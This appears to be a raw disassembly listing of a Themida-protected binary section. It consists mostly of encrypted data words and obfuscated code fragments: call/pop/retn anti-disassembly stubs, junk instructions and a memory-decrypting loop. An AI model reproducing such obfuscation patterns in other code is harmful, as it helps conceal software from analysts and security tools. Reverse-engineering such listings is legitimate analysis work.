		dd 0E800000Ah, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0F657FD26h
		dd 1844CF99h, 8991B82Ch, 2D4FE96h, 0B0132FDCh, 0D68991D5h
		dd 0FF07037Dh, 1DA8F61Fh, 64E58BF4h, 6BA3AAh, 4009C220h
		dd 9A000000h, 0FD607CBCh, 23FFE682h, 49D550CAh,	0DB098718h
		dd 0B1BBD435h, 2A20521h, 77D0FFE7h, 0CFFFC0ECh,	40C1A95Ah
		dd 358DB786h, 0DAC44D3Fh, 0FB91E360h, 7A208915h, 0E79772AAh
		dd 25710E1h, 0F3A10000h, 0DA15C49Ch, 900E055Ah,	7F36DC05h
		dd 1AF66CA7h, 22C4DF73h, 4FB82364h, 1C40A3BFh, 0D66FFE7h
		dd 680FF5A4h, 0F0AE67BCh, 83327A4Ah, 4DD03774h,	80000000h
		dd 2CB7E72Bh, 0B87C8F2h, 9F084BB4h, 9CF342F9h, 0A0BC15C4h
		dd 0FFE6833Ah, 0BC600F68h, 306EA75Dh, 0D6C84BA0h, 6F2FE64Bh
		dd 0AC52BBE4h, 0BC4AA9F5h, 62F2AC67h, 0E682E346h, 12B811FFh
		dd 362Bh, 838EE300h, 36C32DFh, 0F2A94F78h, 15C49CF3h, 833AA0BCh
		dd 2D46FFE6h, 0D992BC7Eh, 4AE71C5Fh, 9EFD953Bh,	0A0306EA7h
		dd 82E14460h, 7A0FFFE6h, 0F79D0698h, 0E04AA940h, 9C34F737h
		dd 132F48C9h, 9C34F6B0h, 0DE147DD6h, 4ABCE231h,	0A8315CB5h
		dd 33F7EB5Bh, 0DB70E24Bh, 79DE6935h, 1F78039Bh,	0F842CE6h
		dd 23F0D48Eh, 0A2C1EB7Bh, 7AA1E518h, 6D0A4FF5h,	0F53BCA6h
		dd 0A9349D01h, 25A51780h, 40D4FDFBh, 52F809A4h,	0A7102179h
		dd 580A09EDh, 335CE7B7h, 23F08DCAh, 5F89097Bh, 2DA38E60h
		dd 2EDB8137h, 3052B8E3h, 27809C35h, 78B850B5h, 22ADF123h
		dd 302A8DF9h, 0FF589C35h, 3A1ED859h, 0EB88C5D9h, 5CED7826h
		dd 0EBA5E60Dh, 5E940A07h, 0FDA171C6h, 3569AA57h, 0B8E32EC3h
		dd 9C353052h, 68B52780h, 7A997D37h, 0D13F9424h,	731942CDh
		dd 957CA62Eh, 20CD883h,	60DBA60h, 61B30898h, 227C983Dh
		dd 2D82027Ch, 0E2ABAE4h, 9C34FBABh, 1DA80D9h, 0EFA912A6h
		dd 5996080Bh, 0B74757BCh, 0F0CDAD8Dh, 6F154AC1h, 754B75F5h
		dd 295FB875h, 0B1600DB3h, 95167BEDh, 821CF7DBh,	6CA79E45h
		dd 3BDA8332h, 0F0AE67BCh, 0B0A3E94Ah, 1014F8h, 30ED249Eh
		dd 0F29D841h, 833C8468h, 2ADA3774h, 6B000000h, 18C799F3h
		dd 0F4AA67BCh, 29A4069h, 0E68380E6h, 0A655AEFFh, 6BA75DBCh
		dd 67BC8433h, 416AF5A9h, 6D91F09Bh, 49h, 607CBC06h, 0FFE682FDh
		dd 0A8C8B923h, 48BEF40Bh, 0B4D839DFh, 7CBC03B2h, 0C8988552h
		dd 32D80984h, 0E70258BEh, 9C4B64FFh, 0E9277CBCh, 9F089679h
		dd 3F5BEB14h, 0FFE683DCh, 540BB10Ah, 84336BA7h,	0FC1469A9h
		dd 48EE17A2h, 94A4E091h, 0BB9AFFE6h, 0FFFFFD30h, 8379E054h
		dd 8FFFE6h, 5A9A3268h, 0E683DB3Eh, 336BA5FFh, 0E53E7FA8h
		dd 83D63955h, 0A3FCFFE6h, 9DC550FDh, 38C32C72h,	0E683A90Ch
		dd 631D46FFh, 0D208967Fh, 7BB1ED25h, 65F0721Ah,	3CD71F39h
		dd 0C7079F42h, 3CD648ABh, 6F156E42h, 0F52D34EEh, 937ACADDh
		dd 1EFh, 837AE024h, 0F990FFE6h,	3DBBD767h, 0A907E0A1h
		dd 0A86D1A50h, 0DB1B6BF6h, 0E0A05CBFh, 44035107h, 4C88F846h
		dd 6E38B20Bh, 8B3B1ABh,	5EB46107h, 0C250B540h, 513851DCh
		dd 15637F0Fh, 110FDB2Ah, 0B115FAB8h, 0FB36999Eh, 0CB15Ch
		dd 435BBB00h, 0ECB2600Dh, 920C09B6h, 3E60AF5Ch,	0E8B65B08h
		dd 0E2C97EB2h, 8C396F2Fh, 33E01688h, 0DE8BC1DDh, 64336935h
		dd 0F98DF00Ch, 4DB307E6h, 0F66CA796h, 8C17801Eh, 0BA4A1673h
		dd 0E6EBFF9Eh, 0B4449D07h, 63EEB05Fh, 0EB94F713h, 69C207E6h
		dd 9A68600h, 2ED7DAE9h,	7A9BF088h, 0D441EE24h, 7E653BB9h
		dd 7692AE65h, 7E6A713h,	167FE841h, 0B1ED268Bh, 0A87C0D26h
		dd 7E20F56Dh, 1CAC15h, 0FE0CFCEh, 0AC7D3B94h, 0AF9664EAh
		dd 0C20D574h, 0CA4C0000h, 21F19ED4h, 7B9A477Dh,	0CF40ED23h
		dd 25EC99CFh, 5A0F4379h, 0C8FEA071h, 6FA5F91Bh,	1A504EC2h
		dd 0C2F8A66Dh, 1C7F9BF3h, 4A07E6F9h, 6CA72DE4h,	1B841AF6h
		dd 12127790h, 0E7109B03h, 0A0D2EE7Eh, 7707E08Ah, 23AEF022h
		dd 68C525E9h, 55BE1E6Ah, 0D70D66AFh, 7FB5E92Ah,	65F56B1Eh
		dd 0E17FB549h, 0F888E10Fh, 4A7F07CEh, 0BD63530Fh, 5945D025h
		dd 0FF9F7623h, 9A040F74h, 6E8ACA0Ah, 0FE14C0Bh,	1174E039h
		dd 60FE14Ch, 4A61EB1Eh,	45D9EFBh, 0D7B2CB5Eh, 0ABDDF989h
		dd 0B717DB1Ch, 0BFC3A05Eh, 8DC8919Eh, 0B75EEh, 7F1FF700h
		dd 28769C49h, 0CED045F2h, 7A24EB98h, 247A9744h,	1E05BAEEh
		dd 0C875ABF3h, 6F1C524Ch, 1AC7FDA1h, 0A06FA5F9h, 0FAC92C48h
		dd 91F707E6h, 326CA7DAh, 100257A7h, 34DA038Eh, 0A699B6D3h
		dd 3A46E92Ah, 85A1319Ah, 7E13973h, 117490D0h, 3F07E139h
		dd 9EF740E6h, 4757BB68h, 0EDB16411h, 4ACA1FB7h,	0F3F7AE54h
		dd 0E53ACA96h, 0BBE46F2Fh, 0E83D7D15h, 0BFE8732Bh, 0AA2FA519h
		dd 429B07E0h, 0A9248BB7h, 0AD2E07E0h, 40CF24F3h, 4AAD35Eh
		dd 6EB4FC34h, 7C9A40h, 0A72B0000h, 43A8336Bh, 0DF44CFCFh
		dd 93E36E30h, 42CDD13Eh, 4CC67319h, 0CEBB1C52h,	74E60292h
		dd 6207E091h, 0EB864B09h, 2E699E64h, 0AAD8Fh, 4757BF00h
		dd 0F0AE6411h, 96080DBAh, 425CB360h, 0ECB25F0Ch, 0E6CD82B6h
		dd 903D732Bh, 37E41A84h, 0E28FC5D9h, 68376D31h,	0FB91F410h
		dd 59BF07E6h, 226BA7A2h, 0EC0ECACBh, 8F0F0463h,	0A087BD26h
		dd 78h,	0FEE2E58h, 0A7CA5331h, 6BA74A01h, 838DF00Ch, 5AB3FFE6h
		dd 3C4D66F1h, 38549424h, 0FFE683D5h, 2D28A2FBh,	0CBBE70DFh
		dd 0B8D46C12h, 7E0ED6Ah, 6ACDE929h, 9807E0EDh, 0F750993Fh
		dd 648C7E39h, 73124D9Eh, 0A22h,	9CD2CC4Ah, 457B23EFh, 0EB217D98h
		dd 97CDD13Eh, 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h
		dd 0A86B184Eh, 99F1C0F6h, 0E6FB1A7Dh, 2BE24807h, 0A2326CA7h
		dd 4FDAC44Dh, 88ED8026h, 2388138Bh
		dd 0BD22ADF1h, 67C04B53h, 8ECC742Eh, 245C631Dh,	0C238748Bh
		dd 1E1h, 0E9937B53h, 1430C0A0h,	7E08A12h, 82D767C0h, 21660C92h
		dd 7831F9BDh, 3A5696FBh, 0F45431D7h, 9DFEA4FDh,	8FE474ECh
		dd 0DA721886h, 0D4CA459Ah, 53CCBA2Eh, 851AFC4Eh, 1E940E90h
		dd 47C7611Bh, 0E27B21Bh, 1555E57Bh, 0A54B53C0h,	7BE5A731h
		dd 69A63BFBh, 0E73CCC35h, 8DE2722Ch, 68911C82h,	3CD784C2h
		dd 0FB9DA462h, 73AE6DF4h, 959D4h, 9B031300h, 445AB865h
		dd 0EAB4610Eh, 960807B4h, 405EB360h, 3A21D60Ah,	0E491C7D7h
		dd 8B386E30h, 36E31985h, 0BC8BC1DDh, 0FBE54864h, 0A50B07E6h
		dd 336BA7EEh, 66FA8FA8h, 0EBE4BAD6h, 99F207E6h,	3E60B409h
		dd 0F71B7008h, 81B93E96h, 0D53E7BEAh, 0C92822Fh, 3F216881h
		dd 783D93AFh, 10690FE1h, 0B5E92B80h, 11BDE77Fh,	0C24A543Ah
		dd 0C94BF89Eh, 0BC257999h, 5747CC31h, 64DEB299h, 0BF5E9996h
		dd 8D6h, 0E81E8096h, 91C7D73Bh,	376D31E4h, 0E319858Ah
		dd 8DC3DB36h, 56BBA459h, 0AF651248h, 40CB9EFh, 5CB7649Ah
		dd 0E53D0C42h, 0E6FC66C9h, 6F268C07h, 836DC8F4h, 0D902FFE6h
		dd 56AB331Fh, 0D93AE0BEh, 420B0B0h, 7E086AEh, 0D0CE47DCh
		dd 0AA916756h, 1F880434h, 14254F8Fh, 0C79573Fh,	9B7A27CDh
		dd 1D6CCD03h, 0BA97B343h, 0E40FDDD8h, 66BBFB8Bh, 0A24FF5A9h
		dd 4AF72D71h, 3A17D5C9h, 0D9998B7h, 85033D2h, 0FA1C0000h
		dd 51C16EA4h, 0AB6A174Dh, 0FF10BDF3h, 55BC699Fh, 2ADF1349h
		dd 98CED041h, 3F7529EBh, 0EA207E92h, 92C8D63Dh,	0EC4F6BC3h
		dd 1A07E6FCh, 79E0FDB4h, 43FFE683h, 3798CED0h, 627E0E52h
		dd 7E0D261h, 2E34DF34h,	62FBAE4h, 55AEF79Dh, 0FEA070C5h
		dd 0A9F51BC8h, 728ECE1Eh, 7E0D20Fh, 4F36DC35h, 7EAh, 0B996F3E8h
		dd 0CEFEFFBBh, 967D2261h, 0EB547D08h, 79C13F5Bh, 0C41D07E1h
		dd 0D8940A34h, 2D4ED9D7h, 7AA4F487h, 0DCDF509Ch, 848B309Fh
		dd 9900741Ah, 0A307E099h, 29616822h, 0C7406EA5h, 18Eh
		dd 0B81B3777h, 0DE07E08Dh, 6E30E085h, 5D14BAE3h, 0F1AD67BCh
		dd 8C120166h, 40D07D23h, 0A55E624Dh, 157EA92Ah,	0BFDF3085h
		dd 0D2650B34h, 5B075882h, 0C05A6C4Ah, 0F7A76D1Ah, 920C076Ch
		dd 306EA207h, 0DBC34DFAh, 0D7D60050h, 0FBC81A42h, 36C32E0h
		dd 0D48EFC5Dh, 0F5FD2844h, 3F94FFE6h, 1C8292D0h, 6BC40DB3h
		dd 6B254EE0h, 0D5048987h, 0EFB818E4h, 0D56DA30Ch, 0E9167995h
		dd 0E33CFFE6h, 1E80903Dh, 0E9F86793h, 1555FFE6h, 0C14C52C0h
		dd 0B771F298h, 2B613DD3h, 12A2C0CAh, 0B5CA8D2h,	4A77F69Fh
		dd 71D530A4h, 92EBFFE7h, 43A6C202h, 71FFE771h, 7ADF7218h
		dd 21CE049Ah, 0D020ABF3h, 71117490h, 0E63FFFE7h, 0F7809340h
		dd 0E77178DBh, 0B5459EFFh, 0E7713699h, 9A035CFFh, 260B50Ah
		dd 0DC05900Eh, 0A83ACD73h, 33E1C57Fh, 8C88356Bh, 0E2378712h
		dd 69CA702Eh, 70B04020h, 17BDD446h, 1BC14C6Dh, 0E16D25A7h
		dd 2389107h, 54DFBF55h,	45A8C404h, 6B07E168h, 7F0B6C12h
		dd 0D63551E1h, 0B507E168h, 67F65975h, 0C31C07E1h, 0F07BD41Dh
		dd 89148A8Bh, 28B3EB24h, 0BB36D96h, 72561039h, 2EC6FCA2h
		dd 0DA6539D9h, 0B65E0BB1h, 45445DE8h, 696F8B1Bh, 550FDB92h
		dd 0FB19C6FCh, 0FCE913A3h, 52833F1Fh, 99247A9Bh, 0B1620770h
		dd 5C0947EDh, 55AEAB4h,	0EB4E6A0Dh, 19FFE74Ah, 60B257C0h
		dd 0C25A983Eh, 1476D198h, 3ADABDC2h, 47B0D964h,	96F3EAA1h
		dd 0D0FA3ACAh, 1AC6C883h, 54C86EFCh, 7E10B72h, 8816FC51h
		dd 0E52ED4FDh, 769C018Ch, 0F33BF228h, 0EC3CC799h, 95207E97h
		dd 0EB52C66Ch, 0F5FFE682h, 7BB3BA74h, 1938748Fh, 22h, 29C74C9h
		dd 6BA7A55Ch, 197CA833h, 0B6FFE683h, 23EFD38Dh,	0AED1457Bh
		dd 0ACFFE6A8h, 0FFFFC2CDh, 6CA766FFh, 0F5801EF6h, 0C1B463CCh
		dd 0C799F352h, 845F1618h, 3774833Ch, 3BDAh, 0DD358A00h
		dd 0F3641BC1h, 0BC18C799h, 82FD607Ch, 69EAFFE6h, 0D837ACA8h
		dd 4BF14A8Bh, 0D13497B3h, 962FFE6h, 37CC4F79h, 0F4ACA00Fh
		dd 5DBC974Eh, 84336BA7h, 166D4AA9h, 6000000h, 18C799F3h
		dd 833DA0BCh, 2841FFE6h, 0A75DBC79h, 0A984336Bh, 306EA74Ah
		dd 831679A5h, 82ABFFE6h, 6D31E4C8h, 93D3C337h, 0BDDAFFE6h
		dd 4FD40098h, 0C9E0BF28h, 79FFFFF4h, 0FD336BA7h, 0E373ED9Ch
		dd 832487A3h, 0F952FFE6h, 259FBB53h, 0C107E0B7h, 0B6C22541h
		dd 97F007E0h, 1077A32Eh, 1A07E0B6h, 0E610DF99h,	0B2C80F85h
		dd 7BD4F5F0h, 0E85C9417h, 7646057Fh, 2C18D889h,	1A7EB686h
		dd 1065406Fh, 14F59B03h, 0Ch, 66DA5h, 0D0250000h, 0FEB55B43h
		dd 0F6A867BCh, 3B9C426Bh, 4282124Eh, 17B23EDh, 648D964Ah
		dd 9E12B8B2h, 7E0C310h,	65A5358Eh, 0E0C1E649h, 0DB30C07h
		dd 0A1FD157Ah, 0C35EF76Bh, 0EC2407E0h, 41CF7CB2h, 0E441D25Dh
		dd 6635EF68h, 0A9F3663Ch, 0A84EF7FAh, 538915FBh, 0BF316DA6h
		dd 80E3FF3Fh, 0A607E0F1h, 19FAA74Dh, 977E1385h,	0FD177C07h
		dd 0C9FA16A1h, 71F2670Fh, 39BEE8B7h, 86557C6Ah,	0FD122FA9h
		dd 836F2F55h, 0BBE330DDh, 5F3FD62Bh, 0C005ABD4h, 834C8419h
		dd 0CDEA37F4h, 9A000000h, 83DB3E5Ah, 9EBAFF66h,	0FF66833Bh
		dd 76CF1069h, 0B95F3FD1h, 0C997F302h, 3AA0BC1Ah, 46FFE683h
		dd 5DBC7E2Dh, 0A72513D3h, 0BC83326Ch, 4BF1AD67h, 99F349B8h
		dd 5F1618C7h, 74833C84h, 45DA37h, 0F36B0000h, 0E237C799h
		dd 0FC66C32h, 833DA0BCh, 0BF14FFE6h, 99C24D51h,	0A251AAF3h
		dd 7527CBCh, 883F4A02h,	55E0BE57h, 661DC32Ch, 0A3336BA7h
		dd 33D9C54Eh, 6D4AA97Ch, 3Ch, 66C9E525h, 8CFFE683h, 0F3D68D33h
		dd 16888B99h, 83076A86h, 0D42DFFE6h, 7CBCBC6Bh,	0E682FD60h
		dd 24CA23FFh, 830D708Ch, 0F811FFE6h, 0A75DBC49h, 0A984336Bh
		dd 0A3FB1469h, 9249EF18h, 0F6A867BCh, 85A9316Bh, 1A9FC6ECh
		dd 2A240BB1h, 0BDFFFFFFh, 0A3DD92BCh, 0B01C5C20h, 0E8B65D0Ah
		dd 0B1CD0D5Dh, 0FFE7154Eh, 0C8751B74h, 71B0424Bh, 0BEE36AF3h
		dd 0CBBE1F55h, 0DBEF526Eh, 0BC15FFE6h, 0DCAD102Ch, 7AD3FFE6h
		dd 17418111h, 521B4BD8h, 8C00A634h, 7E157F2h, 80AC3790h
		dd 7E10319h, 0E1E8A223h, 406F0BA9h, 3747h, 96F3D800h, 501E3ACAh
		dd 4E07E09Ch, 0F01A6AF5h, 0E4A8BA65h, 1E923822h, 7E11CB7h
		dd 0B78640C1h, 46F4038Dh, 3EE3A68Fh, 163FCAD4h,	0AC68A070h
		dd 0BB06406Eh, 97000000h, 19F66CA7h, 41911C85h,	0C1B47E17h
		dd 10B6D062h, 65F0AE63h, 8B1300h, 0F026789Bh, 0E6CD617Ch
		dd 0A6F81BFFh, 4E50C370h, 81DFAAC3h, 0B95CB1F1h, 0CFCF40E5h
		dd 0DACFB529h, 0A2FB07E0h, 0E27E0B6Ch, 0BD5A3652h, 2B840FDDh
		dd 0D3CB469Bh, 7D21F09Dh, 9853A8BFh, 0D170AB99h, 286h
		dd 386E30E6h, 0E117878Bh, 87BDE134h, 336935DAh,	0DD138B86h
		dd 60BF4A9h, 5FB56298h,	0B45C093Fh, 0C07B4EAh, 358D5C92h
		dd 0E703B619h, 0BF76DC07h, 28236AA7h, 0C3A96B83h, 0AF0494FDh
		dd 570B2C61h, 0D4C4804Eh, 0DA87C56Bh, 972F6539h, 0BDD83B57h
		dd 7EFEFFE6h, 0E6BCFF62h, 63CC25FFh, 96F306BDh,	501E3ACAh
		dd 4E07E09Ch, 0F01A6AF5h, 0E3A85A65h, 1D9137ECh, 7E0E6B6h
		dd 0B6853FC0h, 51BA0E8Ch, 0D47AF026h, 6EF5CC04h, 3B89B340h
		dd 0EBEE7E9Dh, 55E00131h, 9EC44ADBh, 0AC17F8h, 72C70000h
		dd 4856BFA3h
		dd 0A78239DFh, 431FF66Ch, 0FB64CDD1h, 98060B70h, 0BFCDE08h
		dd 0EB74D33Fh, 0C5EE7925h, 0F723B65Ch, 0FFE772DCh, 0FB316DA6h
		dd 4ED9C54Eh, 7C0C5435h, 0E1877A60h, 194FA807h,	0C2254181h
		dd 0F007E17Dh, 0F990F197h, 58F21556h, 45AEA55Ah, 7D5E99B5h
		dd 2B840FDDh, 0D3CB469Bh, 7925EE43h, 29E895D3h,	22B6B775h
		dd 5E999998h, 175BFh, 7F1FF700h, 28769C49h, 0CED045F2h
		dd 7A24EB98h, 247A9744h, 1E05BAEEh, 0C875ABF3h,	6F1C524Ch
		dd 1AC7FDA1h, 0A06FA5F9h, 4C92C48h, 91F707E7h, 346AA7DAh
		dd 0DCC251FEh, 6CA7EFA6h, 0D142A732h, 533697CDh, 0B617D0Dh
		dd 1707E086h, 0D78B94ADh, 73DC9488h, 2487A3E3h,	5207E08Dh
		dd 66BB53F9h, 0EBBF1ADh, 0C9099905h, 0E08D4AADh, 0AA0D2907h
		dd 0D807E08Dh, 3FE53E7Fh, 6AF693ACh, 0F4E0BEDAh, 5AAF0FE0h
		dd 2F58E3BBh, 29E74089h, 96648B2Ah, 0DF27C601h,	8D000000h
		dd 32DF1589h, 0DB88BEE0h, 812E643Ah, 2DDA108Eh,	5084BAE4h
		dd 415DB49Bh, 0E8B65E0Bh, 930B05B2h, 3B63B05Dh,	0C2DE3605h
		dd 7E7045Fh, 0F3681F85h, 0FA3ACA96h, 98B255D0h,	0F99F804Bh
		dd 0E7E0A385h, 0E676CF07h, 14278AA6h, 28E907E7h, 36DC3576h
		dd 0C9D53EA3h, 352DE693h, 0D36C1DDh, 74C919A4h,	0E458FEA0h
		dd 51D0C38Bh, 0B5D11161h, 41CFC152h, 81E40080h,	0AF41CFC1h
		dd 0C647ED56h, 0B3EB280Ch, 3056F923h, 0FAABE299h, 0D1FA8519h
		dd 59BCD868h, 8741CFA5h, 0B24A882Eh, 0A4F35672h, 0B72141CFh
		dd 811AF3D7h, 0C66CD5FAh, 0A768FA19h, 0DA436CF7h, 7925EA4Fh
		dd 79335CEEh, 0EA207E95h, 0FDB7D63Dh, 0A1FD15DEh, 0A573ED16h
		dd 590F986h, 0D66h, 7BBBFF00h, 83BC1F3Bh, 91EAFFE6h, 6FA734EBh
		dd 0D43FA42Fh, 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh
		dd 0C34CB13Ch, 2AEB50DBh, 8E84E974h, 51528510h,	0C181E189h
		dd 4, 4E981h, 0C870000h, 1C895C24h, 17E66824h, 0C890000h
		dd 29816824h, 2C890000h, 0A9B85024h, 50080069h,	9A685859h
		dd 8900003Dh, 4812424h,	424h, 0EC815D00h, 4, 81240C89h
		dd 1ECC242Ch, 458F4E07h, 8458108h, 4E071ECCh, 57242C8Bh
		dd 0C781E789h, 4, 8704C783h, 8B5C243Ch,	8957240Ch, 4C781E7h
		dd 83000000h, 3C8704C7h, 85E95C24h, 0D7FFF9FBh,	82EAB8C7h
		dd 0C5030800h, 6585C650h, 4707FA06h, 38172568h,	0A5B5FFCFh
		dd 8D07FA08h, 0FA3AE285h, 8BD0FF07h, 11858DD8h,	5007FA03h
		dd 10468h, 0C6D3FF00h, 0FA066585h, 0BF685307h, 0FF8307F8h
		dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 898589D0h, 83080067h
		dd 0FA3135BDh, 840F0007h, 0Bh, 2B459D8Bh, 5E907FAh, 0BB000000h
		dd 0
; ---------------------------------------------------------------------------
		push	100h
		lea	esi, [ebp+800678Dh]
		push	esi
		push	ebx
		call	dword ptr [ebp+7FA2951h]
		lea	esi, [ebp+800678Dh]
		add	esi, eax
		jmp	loc_5EB841
; ---------------------------------------------------------------------------


loc_5EB840:				; CODE XREF: Themida_:005EB84Dj
		dec	esi


loc_5EB841:				; CODE XREF: Themida_:005EB83Bj
		cmp	byte ptr [esi],	5Ch
		jz	loc_5EB853
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5EB840


loc_5EB853:				; CODE XREF: Themida_:005EB844j
		mov	byte ptr [esi],	0
		lea	eax, [ebp+800678Dh]
		push	eax
		call	dword ptr [ebp+8006789h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0AD9Bh
		dd 8DA73746h, 0D9170A1Ch, 2638125Dh, 7E6713Ah, 52794872h
		dd 0F3F74465h, 0CA7454E5h, 0D3C64D4Ch, 69A25419h, 65BA75A7h
		dd 33145739h, 8FD200Dh,	0C0D00023h, 20896AF7h, 83B74B6Fh
		dd 0E11F7AD9h, 0B1871EC9h, 0F99767A3h, 0B72909CEh, 0CE83CE0h
		dd 18000000h, 0D698B16Ah, 0D5563420h, 58ED952Ah, 0DE9h
		dd 33A86E00h, 0B7DD0061h, 424D3A13h, 0C0817C54h, 5964h
		dd 0D38B6660h, 10E950h,	48080000h, 0AE3683F6h, 0DC0B2EF5h
		dd 8F6EE9F2h, 6159DFDBh, 162668h, 28E0F00h, 8B000000h
		dd 8B605BCBh, 30FF61DAh, 6820F5Ah, 81000000h, 6CEFC6D9h
		dd 6FF28156h, 0FC49D789h, 280EF281h, 0A4BF3514h, 811791ACh
		dd 0D3F152C2h, 0CE933h,	99640000h, 667E8499h, 3D4B26A1h
		dd 10896442h, 8101E883h, 3FE142D7h, 48484819h, 12850F4Bh
		dd 0B5000000h, 29E99Fh,	6FB40000h, 7BE89E3Dh, 255FFDFDh
		dd 16F18195h, 0E94159F3h, 0FFFFFF96h, 7C077CDBh, 46046BB3h
		dd 90C39103h, 33057974h, 8DEEBCCCh, 85ED8Dh, 0E7816608h
		dd 8D899A52h, 7FA1CD9h,	21B98D29h, 85C707FAh, 7FA31ADh
		dd 6BDCh, 43EAE681h, 85C7133Ah,	7FA2BD9h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5EB9C7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB9C7	proc near		; CODE XREF: Themida_:005EB9BFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5EB9C7	endp

; ---------------------------------------------------------------------------
		jnz	short loc_5EBA53
		push	dword ptr [ebp+7FA112Dh]
		push	0
		push	edx
		call	sub_5EB9EA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EB9EA	proc near		; CODE XREF: Themida_:005EB9E2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5EB9EA	endp

; ---------------------------------------------------------------------------
		cmpsb
		add	eax, 95091C6Ah
		and	[esi], ecx
		cli
		pop	es
		call	dword ptr [ebp+7FA1799h]
		push	0
		push	ebp
		call	sub_5EBA15
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EBA15	proc near		; CODE XREF: Themida_:005EBA0Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5EBA15	endp

; ---------------------------------------------------------------------------
		cmp	[ebx+6Ah], ecx
		add	bh, bh
		xchg	eax, ebp
		sbb	[eax], edx
		cli
		pop	es
		mov	eax, eax
		jmp	short loc_5EBA8C
; ---------------------------------------------------------------------------
		db 24h
		dd 0D3108194h, 10DFE46Bh, 0A43191E1h, 21CB5B5Ah, 62E9DEC7h
		dd 7E49300Bh, 88FB2F51h
		db 0Bh,	0A6h, 73h
; ---------------------------------------------------------------------------


loc_5EBA53:				; CODE XREF: Themida_:005EB9D7j
		sbb	al, 0
		push	cs
		sbb	eax, 111786FBh
		std
		mov	ecx, [edx+3Fh]
		movsb
		sbb	[ecx], ah
		setalc
		mov	cr3, edx
		fcom	st(1)
		push	ebx
		add	eax, 9DD38275h
		aas
		adc	[ebp+7Ah], edx
		push	ss
		and	al, 96h


loc_5EBA75:				; CODE XREF: Themida_:005EBA91j
		insb
		sbb	ecx, esp
		add	al, 0D1h
		out	42h, eax	; Timer	8253-5 (AT: 8254.2).
		mul	ch
		add	[ecx-251BB7AAh], dh
		dec	edx
		enter	43FBh, 0Dh
		sbb	[eax], dl
		inc	eax


loc_5EBA8C:				; CODE XREF: Themida_:005EBA31j
		call	near ptr loc_5EBA9D+1
		jl	short loc_5EBA75
		out	dx, eax
		or	[edx+ecx*4-3118B22Fh], bh
		loopne	locret_5EBAD3


loc_5EBA9D:				; CODE XREF: Themida_:loc_5EBA8Cp
		cmp	eax, 9D895AF5h
		test	eax, 8107FA23h
		retn	6CA2h
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_5EBAC0
; ---------------------------------------------------------------------------
		db 40h,	64h, 60h
		dd 0BA63065Dh, 47EE13EBh, 27388ED7h
; ---------------------------------------------------------------------------


loc_5EBAC0:				; CODE XREF: Themida_:005EBAACj
		mov	edi, 1B08h
		mov	esi, eax


loc_5EBAC7:				; CODE XREF: Themida_:005EBB0Bj
		mov	ecx, [edx]
		add	ecx, 0B9F076Fh
		pusha
		mov	dl, 0F8h
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------

locret_5EBAD3:				; CODE XREF: Themida_:005EBA9Bj
		retn	0ECE8h
; ---------------------------------------------------------------------------
		dw 3D65h
; ---------------------------------------------------------------------------
		popa
		add	ecx, 619DE2C4h
		sub	ecx, 2BE9A9Fh
		cmc
		push	ecx
		jmp	loc_5EBAF8
; ---------------------------------------------------------------------------
		sahf
		push	edx
		inc	ecx
		cmp	eax, 0BD027DB0h
		lds	ecx, [ecx+39h]
		das


loc_5EBAF8:				; CODE XREF: Themida_:005EBAE7j
		pop	dword ptr [edx]
		sub	edx, 4
		pusha
		mov	[ebp+7FA2201h],	esi
		mov	esi, 1FC065CAh
		popa
		dec	edi
		jnz	loc_5EBAC7
		add	[ebp+7FA1771h],	esi
		lea	ecx, [ebp+800877Dh]
		push	0
		push	ebp
		call	sub_5EBB28
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EBB28	proc near		; CODE XREF: Themida_:005EBB20p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5EBB28	endp

; ---------------------------------------------------------------------------
		fdivr	qword ptr [edx+295E258Eh]
		mov	eax, 1CB8666Ah
		mov	bh, 8Bh
		dec	byte ptr [ecx-5E32673h]
		pop	es
		xor	bh, 5Ah
		mov	dword ptr [ebp+7FA31ADh], 6C10h
		push	0
		push	edi
		call	sub_5EBB64
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EBB64	proc near		; CODE XREF: Themida_:005EBB5Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5EBB64	endp

; ---------------------------------------------------------------------------
		dec	ecx
		xor	bh, ah
		mov	esi, [ebp+7FA1119h]
		mov	dword ptr [ebp+7FA2BD9h], 0
		push	0
		push	esi
		call	sub_5EBB92
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5EBB92	proc near		; CODE XREF: Themida_:005EBB8Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5EBB92	endp

; ---------------------------------------------------------------------------
		dw 65B6h
		dd 0B5FF651Fh, 7FA167Dh, 0F6DB8166h, 9995FF98h,	6A07FA17h
		dd 1995FF00h, 8B07FA10h, 230EEBC0h, 492DC609h, 834CF2D1h
		dd 0D0919E04h, 2FE99Dh,	0D1A00000h, 8C933A1Ch, 0E89DE61Dh
